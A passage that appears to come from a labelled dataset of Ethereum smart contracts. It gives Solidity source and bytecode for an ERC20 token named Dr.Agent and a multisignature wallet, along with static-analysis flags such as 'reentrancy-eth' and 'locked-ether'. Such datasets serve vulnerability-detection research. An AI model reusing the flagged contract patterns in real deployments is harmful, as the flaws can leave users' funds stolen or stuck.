6001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212202d1e587c2c897f1b2452bd7a4fa85bcc44f20226e5b0b22376462b59bc73213b64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 2,409 |
0xde08bee9240f2a57eab416302e3a6271fbd3f9de
|
pragma solidity ^0.4.19;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20 {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
mapping(address => mapping(address => uint256)) internal allowed;
/**
* @dev total number of tokens in existence
*/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
*/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
*/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract tokenRecipient { function receiveApproval(address _from, uint256 _value, address _token, bytes _extraData) public; }
contract Owned {
address public owner;
function Owned() public{
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public{
owner = newOwner;
}
}
contract DrAgentToken is StandardToken, Owned {
string public name = 'Dr.Agent';
string public symbol = 'DRA';
uint8 public decimals = 18;
uint public INITIAL_SUPPLY = 10**28;
mapping (address => bool) public frozenAccount;
/* This generates a public event on the blockchain that will notify clients */
event FrozenFunds(address target, bool frozen);
function DrAgentToken() public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
/**
* Set allowance for other address and notify
*
* Allows `_spender` to spend no more than `_value` tokens on your behalf, and then ping the contract about it
*
* @param _spender The address authorized to spend
* @param _value the max amount they can spend
* @param _extraData some extra information to send to the approved contract
*/
function approveAndCall(address _spender, uint256 _value, bytes _extraData)
public
returns (bool success) {
tokenRecipient spender = tokenRecipient(_spender);
if (approve(_spender, _value)) {
spender.receiveApproval(msg.sender, _value, this, _extraData);
return true;
}
}
/**
* @notice `freeze? Prevent | Allow` `target` from sending & receiving tokens
* @param target Address to be frozen
* @param freeze either to freeze it or not
*/
function freezeAccount(address target, bool freeze) onlyOwner public {
frozenAccount[target] = freeze;
FrozenFunds(target, freeze);
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(!frozenAccount[_from]); // Check if sender is frozen
require(!frozenAccount[_to]); // Check if recipient is frozen
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Don't accept ETH
*/
function () public payable {
revert();
}
/**
* @dev Owner can transfer out any accidentally sent ERC20 tokens
*/
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20(tokenAddress).transfer(owner, tokens);
}
}
|
0x6060604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610101578063095ea7b31461018f57806318160ddd146101e957806323b872dd146102125780632ff2e9dc1461028b578063313ce567146102b457806366188463146102e357806370a082311461033d5780638da5cb5b1461038a57806395d89b41146103df578063a9059cbb1461046d578063b414d4b6146104c7578063cae9ca5114610518578063d73dd623146105b5578063dc39d06d1461060f578063dd62ed3e14610669578063e724529c146106d5578063f2fde38b14610719575b600080fd5b341561010c57600080fd5b610114610752565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610154578082015181840152602081019050610139565b50505050905090810190601f1680156101815780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561019a57600080fd5b6101cf600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107f0565b604051808215151515815260200191505060405180910390f35b34156101f457600080fd5b6101fc6108e2565b6040518082815260200191505060405180910390f35b341561021d57600080fd5b610271600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506108ec565b604051808215151515815260200191505060405180910390f35b341561029657600080fd5b61029e610d58565b6040518082815260200191505060405180910390f35b34156102bf57600080fd5b6102c7610d5e565b604051808260ff1660ff16815260200191505060405180910390f35b34156102ee57600080fd5b610323600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610d71565b604051808215151515815260200191505060405180910390f35b341561034857600080fd5b610374600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611002565b6040518082815260200191505060405180910390f35b341561039557600080fd5b61039d61104a565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156103ea57600080fd5b6103f2611070565b6040518080602001828103825283818151815260200191508051906020019080838360005b83811015610432578082015181840152602081019050610417565b50505050905090810190601f16801561045f5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561047857600080fd5b6104ad600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061110e565b604051808215151515815260200191505060405180910390f35b34156104d257600080fd5b6104fe600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506113df565b604051808215151515815260200191505060405180910390f35b341561052357600080fd5b61059b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919050506113ff565b604051808215151515815260200191505060405180910390f35b34156105c057600080fd5b6105f5600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803590602001909190505061157d565b604051808215151515815260200191505060405180910390f35b341561061a57600080fd5b61064f600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050611779565b604051808215151515815260200191505060405180910390f35b341561067457600080fd5b6106bf600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506118c7565b6040518082815260200191505060405180910390f35b34156106e057600080fd5b610717600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035151590602001909190505061194e565b005b341561072457600080fd5b610750600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611a74565b005b60048054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156107e85780601f106107bd576101008083540402835291602001916107e8565b820191906000526020600020905b8154815290600101906020018083116107cb57829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561092957600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561097657600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610a0157600080fd5b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610a5a57600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151515610ab357600080fd5b610b04826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1490919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610b97826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610c6882600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1490919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b60075481565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610e82576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610f16565b610e958382611b1490919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111065780601f106110db57610100808354040283529160200191611106565b820191906000526020600020905b8154815290600101906020018083116110e957829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561114b57600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561119857600080fd5b600860003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515156111f157600080fd5b600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615151561124a57600080fd5b61129b826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b1490919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061132e826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b60008084905061140f85856107f0565b15611574578073ffffffffffffffffffffffffffffffffffffffff16638f4ffcb1338630876040518563ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018481526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200180602001828103825283818151815260200191508051906020019080838360005b838110156115095780820151818401526020810190506114ee565b50505050905090810190601f1680156115365780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b151561155757600080fd5b6102c65a03f1151561156857600080fd5b50505060019150611575565b5b509392505050565b600061160e82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611b2d90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156117d757600080fd5b8273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846000604051602001526040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b15156118a457600080fd5b6102c65a03f115156118b557600080fd5b50505060405180519050905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156119aa57600080fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507f48335238b4855f35377ed80f164e8c6f3c366e54ac00b96a6402d4a9814a03a58282604051808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001821515151581526020019250505060405180910390a15050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515611ad057600080fd5b80600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000828211151515611b2257fe5b818303905092915050565b6000808284019050838110151515611b4157fe5b80915050929150505600a165627a7a7230582028b21039bdbe66e34c9dbe8232c364553c7916763a4076699ef10d3239d4d9bf0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "locked-ether", "impact": "Medium", "confidence": "High"}]}}
| 2,410 |
0x2D8700eAb0191C62f9Ca1318EDa9e4F9815f0B86
|
/**
*Submitted for verification at Etherscan.io on 2021-04-28
*/
pragma solidity ^0.5.0;
/// @title Multisignature wallet - Allows multiple parties to agree on transactions before execution.
/// @author Stefan George - <[email protected]>
contract MultiSigWallet {
/*
* Events
*/
event Confirmation(address indexed sender, uint256 indexed transactionId);
event Revocation(address indexed sender, uint256 indexed transactionId);
event Submission(uint256 indexed transactionId);
event Execution(uint256 indexed transactionId);
event ExecutionFailure(uint256 indexed transactionId);
event Deposit(address indexed sender, uint256 value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint256 required);
/*
* Constants
*/
uint256 constant public MAX_OWNER_COUNT = 50;
/*
* Storage
*/
mapping (uint256 => Transaction) public transactions;
mapping (uint256 => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint256 public required;
uint256 public transactionCount;
struct Transaction {
address destination;
uint256 value;
bytes data;
bool executed;
uint256 timestamp;
}
/*
* Modifiers
*/
modifier onlyWallet() {
require(msg.sender == address(this), "Only wallet");
_;
}
modifier ownerDoesNotExist(address owner) {
require(!isOwner[owner], "Owner exists");
_;
}
modifier ownerExists(address owner) {
require(isOwner[owner], "Owner does not exists");
_;
}
modifier transactionExists(uint256 transactionId) {
require(transactions[transactionId].destination != address(0), "Tx doesn't exist");
_;
}
modifier confirmed(uint256 transactionId, address owner) {
require(confirmations[transactionId][owner], "not confirmed");
_;
}
modifier notConfirmed(uint256 transactionId, address owner) {
require(!confirmations[transactionId][owner], "is already confirmed");
_;
}
modifier notExecuted(uint256 transactionId) {
require(!transactions[transactionId].executed, "tx already executed");
_;
}
modifier notNull(address _address) {
require(_address != address(0), "address is null");
_;
}
modifier validRequirement(uint256 ownerCount, uint256 _required) {
require(ownerCount <= MAX_OWNER_COUNT && _required <= ownerCount && _required != 0 && ownerCount != 0, "invalid requirement");
_;
}
/// @dev Fallback function allows to deposit ether.
function() external payable {
if (msg.value > 0)
emit Deposit(msg.sender, msg.value);
}
/*
* Public functions
*/
/// @dev Contract constructor sets initial owners and required number of confirmations.
/// @param _owners List of initial owners.
/// @param _required Number of required confirmations.
constructor(address[] memory _owners, uint256 _required) public validRequirement(_owners.length, _required) {
for (uint256 i = 0; i < _owners.length; i++) {
require(!isOwner[_owners[i]] && _owners[i] != address(0), "is already owner");
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
/// @dev Allows to add a new owner. Transaction has to be sent by wallet.
/// @param owner Address of new owner to add.
function addOwner(address owner) public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
emit OwnerAddition(owner);
}
/// @dev Allows to remove an owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to remove.
function removeOwner(address owner) public onlyWallet ownerExists(owner) {
isOwner[owner] = false;
for (uint256 i = 0; i < owners.length - 1; i++){
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
emit OwnerRemoval(owner);
}
/// @dev Allows to replace an owner with a new owner. Transaction has to be sent by wallet.
/// @param owner Address of owner to be replaced.
/// @param newOwner Address of new owner.
function replaceOwner(address owner, address newOwner) public onlyWallet ownerExists(owner) ownerDoesNotExist(newOwner) {
for(uint256 i = 0; i < owners.length; i++) {
